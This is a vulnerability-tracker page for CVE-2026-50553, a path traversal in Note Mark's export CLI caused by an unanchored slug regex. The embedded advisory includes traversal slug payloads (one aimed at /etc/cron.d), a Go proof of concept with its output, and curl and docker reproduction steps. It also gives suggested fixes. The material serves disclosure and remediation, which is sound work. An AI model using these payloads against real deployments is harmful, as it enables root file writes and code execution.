CVE-2026-50553

HIGHCVSS · not yet scored
EchelonGraph verdictMonitorLow exploitation likelihood right now — keep watching.
  • No CVSS published and no exploitation signals yet
CISA-KEV: Not listedEPSS PROB: CVSS v2: Exploit: None knownExposed: 0

No vendor fix yet — apply a workaround or compensating control (WAF / firewall / segmentation) and watch for a patch.

Note Mark: Path traversal via unsanitized book/note slug in migrate export (sibling of GHSA-g49p)

Summary

Note Mark validates book and note slug values with the OpenAPI/huma tag pattern:"[a-z0-9-]+". huma compiles this with regexp.MustCompile(s.Pattern) and tests it with patternRe.MatchString(str), an UNANCHORED match. Because the pattern is not anchored (^...$), any string that merely CONTAINS one [a-z0-9-] substring passes validation. A slug such as ../../../../../../tmp/escape is accepted and stored verbatim.

The data-export CLI commands (note-mark migrate export and note-mark migrate export-v1) join these unsanitized slugs straight into the output path with path.Join / filepath.Join, then os.MkdirAll the directory and os.Create the note file. path.Join resolves the ../ segments, so the note content file is written OUTSIDE the configured export directory. The export process commonly runs as root (default in Docker / bare-metal admin usage), so this is a root-privilege arbitrary directory create + file write.

This is the unguarded sibling of GHSA-g49p-4qxj-88v3 (CVE class CWE-22 in the same export sinks). That fix added filepath.Base(asset.Name) to sanitize the asset filename, but the adjacent path components book.Slug and note.Slug — used in the very same path.Join calls in the same two export functions — were left raw, and their input-side pattern guard is bypassable as shown above.

Vulnerable code

Slug input validation (backend/db/types.go, v0.19.4):

type CreateBook struct {
	Name     string json:"name" required:"true" minLength:"1" maxLength:"80"
	Slug     string json:"slug" required:"true" minLength:"1" maxLength:"80" pattern:"[a-z0-9-]+"
	IsPublic bool   json:"isPublic,omitempty" default:"false"
}

type CreateNote struct { Name string json:"name" required:"true" minLength:"1" maxLength:"80" Slug string json:"slug" required:"true" minLength:"1" maxLength:"80" pattern:"[a-z0-9-]+" }

huma applies the pattern UNANCHORED (github.com/danielgtaylor/huma/[email protected]):

// schema.go
if s.Pattern != "" {
	s.patternRe = regexp.MustCompile(s.Pattern)

// validate.go
if s.patternRe != nil {
	if !s.patternRe.MatchString(str) {
		res.Add(path, v, s.msgPattern)

regexp.MatchString("[a-z0-9-]+", "../../../../tmp/escape") is true (it matches the tmp substring), so the traversal slug passes and BooksService.CreateBook / NotesService store it verbatim.

Export sinks (backend/cli/migrate.go, v0.19.4). The asset filename was sanitized by the GHSA-g49p fix; the sibling slug path components were not:

// commandMigrateExportDataV1 / commandMigrateExportData
for _, book := range user.Books {
	bookDir := path.Join(exportDir, user.Username, book.Slug)   // book.Slug raw
	for _, note := range book.Notes {
		noteDir := path.Join(bookDir, note.Slug)                // note.Slug raw
		if err := os.MkdirAll(noteDir, os.ModePerm); err != nil {
			return err
		}
		f, err := os.Create(path.Join(noteDir, "_index.md"))    // escapes exportDir

// the same functions DO sanitize the sibling asset name:
assetFileName := filepath.Base(asset.Name)
if assetFileName == "/" || assetFileName == "." {
	log.Printf("disallowed asset filename found '%s', skipping\n", asset.Name)
	continue
}
f, err := os.Create(path.Join(assetsDir, asset.ID.String()+"."+assetFileName))

Impact

A low-privilege authenticated user (any registered account that can create a book/note) sets a traversing slug. When an administrator later runs note-mark migrate export or export-v1 (a routine backup/migration operation, commonly as root in Docker), the exporter creates attacker-chosen directories and writes the note's _index.md to an arbitrary filesystem location outside the export directory. With root, this allows writing to /etc/cron.d/, systemd unit directories, or other startup paths, escalating to code execution as root. Same trust boundary and severity class as GHSA-g49p-4qxj-88v3.

Attack scenario

  • Attacker registers / uses any normal user account.
  • Attacker POST /api/books (or a note) with slug = ../../../../../../etc/cron.d/x (passes the unanchored [a-z0-9-]+ pattern). Stored verbatim.
  • Admin runs note-mark migrate export-v1 --export-dir /data/backup (root).
  • Exporter does path.Join("/data/backup", username, "../../../../../../etc/cron.d/x") which yields /etc/cron.d/x, then os.MkdirAll creates it and os.Create(path.Join(noteDir, "_index.md")) writes attacker-influenced content outside /data/backup.

Proof of concept

Self-contained Go reproducer pinning huma v2.37.3 (Note Mark's exact version) and Note Mark's exact CreateBook DTO + the exact export path.Join expression. It demonstrates (a) the traversal slug passes huma validation, (b) a negative control that genuinely violates the charset is rejected, (c) the export sink writes the file outside the export root.

// go.mod: module nmpoc; go 1.24; require github.com/danielgtaylor/huma/v2 v2.37.3
package main

import ( "context" "fmt" "net/http" "net/http/httptest" "os" "path" "strings"

"github.com/danielgtaylor/huma/v2" "github.com/danielgtaylor/huma/v2/adapters/humago" )

// Mirror of note-mark backend/db/types.go:24-28 CreateBook DTO at v0.19.4. type CreateBook struct { Name string json:"name" required:"true" minLength:"1" maxLength:"80" Slug string json:"slug" required:"true" minLength:"1" maxLength:"80" pattern:"[a-z0-9-]+" IsPublic bool json:"isPublic,omitempty" default:"false" } type CreateBookInput struct{ Body CreateBook } type CreateBookOutput struct { Body struct { Slug string json:"slug" } }

func main() { mux := http.NewServeMux() api := humago.New(mux, huma.DefaultConfig("note-mark-poc", "1.0.0")) var stored string huma.Register(api, huma.Operation{OperationID: "create-book", Method: http.MethodPost, Path: "/api/books"}, func(ctx context.Context, in *CreateBookInput) (*CreateBookOutput, error) { stored = in.Body.Slug // BooksService.CreateBook stores Slug verbatim out := &CreateBookOutput{} out.Body.Slug = in.Body.Slug return out, nil })

const traversalSlug = ../../../../../../tmp/nmpoc-escape body := fmt.Sprintf({"name":"x","slug":%q}, traversalSlug) req := httptest.NewRequest(http.MethodPost, "/api/books", strings.NewReader(body)) req.Header.Set("Content-Type", "application/json") rec := httptest.NewRecorder() mux.ServeHTTP(rec, req) fmt.Printf("[validation] slug=%q status=%d stored=%q\n", traversalSlug, rec.Code, stored)

// Negative control: a slug with NO [a-z0-9-] char anywhere must be rejected. negReq := httptest.NewRequest(http.MethodPost, "/api/books", strings.NewReader({"name":"x","slug":"@@@@"})) negReq.Header.Set("Content-Type", "application/json") negRec := httptest.NewRecorder() mux.ServeHTTP(negRec, negReq) fmt.Printf("[neg-control] slug=\"@@@@\" status=%d (expect 422)\n", negRec.Code)

// Export sink expression from backend/cli/migrate.go:187,191,203. exportDir := "/tmp/nmpoc-exportroot" _ = os.RemoveAll(exportDir) _ = os.RemoveAll("/tmp/nmpoc-escape") _ = os.MkdirAll(exportDir, 0o755) bookDir := path.Join(exportDir, "victim", stored) noteDir := path.Join(bookDir, "n") _ = os.MkdirAll(noteDir, 0o755) outPath := path.Join(noteDir, "_index.md") _ = os.WriteFile(outPath, []byte("PWNED-NOTE-CONTENT\n"), 0o644) escaped := !strings.HasPrefix(path.Clean(outPath), path.Clean(exportDir)+"/") fmt.Printf("[export] joined=%q escapedExportDir=%v\n", outPath, escaped) if d, err := os.ReadFile("/tmp/nmpoc-escape/n/_index.md"); err == nil { fmt.Printf("[export] SENTINEL written OUTSIDE exportDir => %q\n", strings.TrimSpace(string(d))) } }

Verbatim output (go run ., huma v2.37.3, go1.26.1):

[validation] slug="../../../../../../tmp/nmpoc-escape" status=200 stored="../../../../../../tmp/nmpoc-escape"
[neg-control] slug="@@@@" status=422 (expect 422)
[export] joined="/tmp/nmpoc-escape/n/_index.md" escapedExportDir=true
[export] SENTINEL written OUTSIDE exportDir => "PWNED-NOTE-CONTENT"

The traversal slug is ACCEPTED (status 200) while the negative control is correctly rejected (422), and the export path.Join writes the note file outside the export root.

End-to-end reproduction

Against the released image ghcr.io/enchant97/note-mark-aio:0.19.4 (the GHSA-g49p fix release):

# 1. start
docker run -d --name nm -p 8080:8080 -e JWT_SECRET="$(openssl rand -base64 32)" \
  -e PUBLIC_URL="http://localhost:8080" ghcr.io/enchant97/note-mark-aio:0.19.4

2. register + login (capture Auth-Session-Token cookie)

curl -s -X POST localhost:8080/api/users -H 'Content-Type: application/json' \ -d '{"username":"attacker","password":"Attack3r!","name":"a"}' TOKEN=$(curl -s -D - -X POST localhost:8080/api/auth/token -H 'Content-Type: application/json' \ -d '{"username":"attacker","password":"Attack3r!","grant_type":"password"}' \ | sed -n 's/.*Auth-Session-Token=\([^;]*\).*/\1/p')

3. create a book with a traversing slug — passes the [a-z0-9-]+ pattern

curl -s -X POST localhost:8080/api/books -H 'Content-Type: application/json' \ -b "Auth-Session-Token=$TOKEN" \ -d '{"name":"x","slug":"../../../../../../tmp/nmpoc-escape"}'

response echoes "slug":"../../../../../../tmp/nmpoc-escape" (accepted, 200/201)

4. add a note under that book (any valid note slug), then trigger admin export

docker exec nm /note-mark migrate export-v1 --export-dir /data/backup

5. observe the note _index.md written outside /data/backup

docker exec nm ls -la /tmp/nmpoc-escape/

The self-contained Go reproducer above is the deterministic, version-pinned demonstration of the validation bypass + sink escape (it does not require the full image build).

Suggested fix

Apply filepath.Base() (the same idiom already used for asset.Name in the GHSA-g49p fix) to the sibling slug path components in both export functions, and/or reject the result if it differs from the raw value:

bookSlug := filepath.Base(book.Slug)
noteSlug := filepath.Base(note.Slug)
if bookSlug != book.Slug || noteSlug != note.Slug {
	log.Printf("disallowed slug found, skipping book=%q note=%q\n", book.Slug, note.Slug)
	continue
}
bookDir := path.Join(exportDir, user.Username, bookSlug)
noteDir := path.Join(bookDir, noteSlug)

Root cause hardening (preferred): anchor the slug pattern at the input layer so traversal can never enter the DB. Either change the tag to an anchored regex pattern:"^[a-z0-9-]+$", or reject strings.ContainsAny(slug, "/\\.") in the create/update handlers (mirroring the PostNoteAsset header check added by GHSA-g49p). user.Username (pattern:"[a-zA-Z0-9]+") is also unanchored and should be anchored for the same reason.

Affected versions

<= v0.19.4 (current latest release). The slug components are used unsanitized in backend/cli/migrate.go at v0.19.4, the release that fixed the sibling asset.Name traversal (GHSA-g49p-4qxj-88v3).

Fix PR

A fix is prepared on the temporary private advisory fork: enchant97/note-mark-ghsa-rqrh-8wpv-x7hh PR #1. It anchors the slug/username pattern tags (^[a-z0-9-]+$ / ^[a-zA-Z0-9]+$) at the input layer and adds defense-in-depth filepath.Base() checks to both export functions, plus a regression test. go test ./backend/db/ passes with the fix and fails against the old unanchored pattern.

Credit

Reported by tonghuaroot.

CVSS v3
EG Score
0.0(none)
EG Risk
0
EG Risk 0/100

EG Risk is EchelonGraph's 0–100 priority score. It fuses intrinsic severity with real-world exploitation and automatability, so you can rank equal-severity CVEs and fix the most dangerous first. Higher = act sooner. It is distinct from the 0–10 EG Score, which measures severity.

EPSS PROB
EPSS %ILE
KEV
Not listed

Published

July 9, 2026

Last Modified

July 9, 2026

Vendor Advisories for CVE-2026-50553(1)

These vendors published their own advisory mentioning this CVE — often with vendor-specific remediation steps + affected product lists not in NVD.

Affected Packages

(1 across 1 ecosystem)
Go(1)
PackageVulnerable rangeFixed inDependents
github.com/enchant97/note-mark/backend0.0.0-20260601210719-67b7de04308a

Data Freshness Timeline

(refreshed 2× in last 7d / 3× in last 30d)

Each row is a source pipeline that fetched or updated this CVE on that date, with what changed. For example, "NVD update" means NVD published or revised its analysis for this CVE; "MITRE cvelistV5" means we ingested or refreshed it from the CNA feed. Most recent first.

  1. 2026-07-26 12:20 UTCEG score recompute
  2. 2026-07-23 03:18 UTCEG score recompute
  3. 2026-07-09 13:45 UTCEG score recompute

Frequently asked(3)

What is CVE-2026-50553?
CVE-2026-50553 is a high vulnerability published on July 9, 2026. Note Mark: Path traversal via unsanitized book/note slug in migrate export (sibling of GHSA-g49p) Summary Note Mark validates book and note slug values with the OpenAPI/huma tag pattern:"[a-z0-9-]+". huma compiles this with regexp.MustCompile(s.Pattern) and tests it with patternRe.MatchString(str),…
When was CVE-2026-50553 disclosed?
CVE-2026-50553 was first published in the National Vulnerability Database on July 9, 2026. EchelonGraph re-ingests CVE updates from NVD on a 2-hour cycle, so this page reflects the latest published state.
How do I remediate CVE-2026-50553?
Patch to the fixed version published by the affected vendor. Where vendor advisories exist for CVE-2026-50553, EchelonGraph cross-links them in the Vendor Advisories panel below — those typically contain the canonical remediation steps, fixed version numbers, and any vendor-specific mitigations.

Dependency Blast Radius

See which npm, PyPI, Go, and Maven packages are affected by CVE-2026-50553

Explore →

Is Your Infrastructure Affected by CVE-2026-50553?

EchelonGraph automatically scans your cloud infrastructure and maps CVE exposure using blast radius analysis.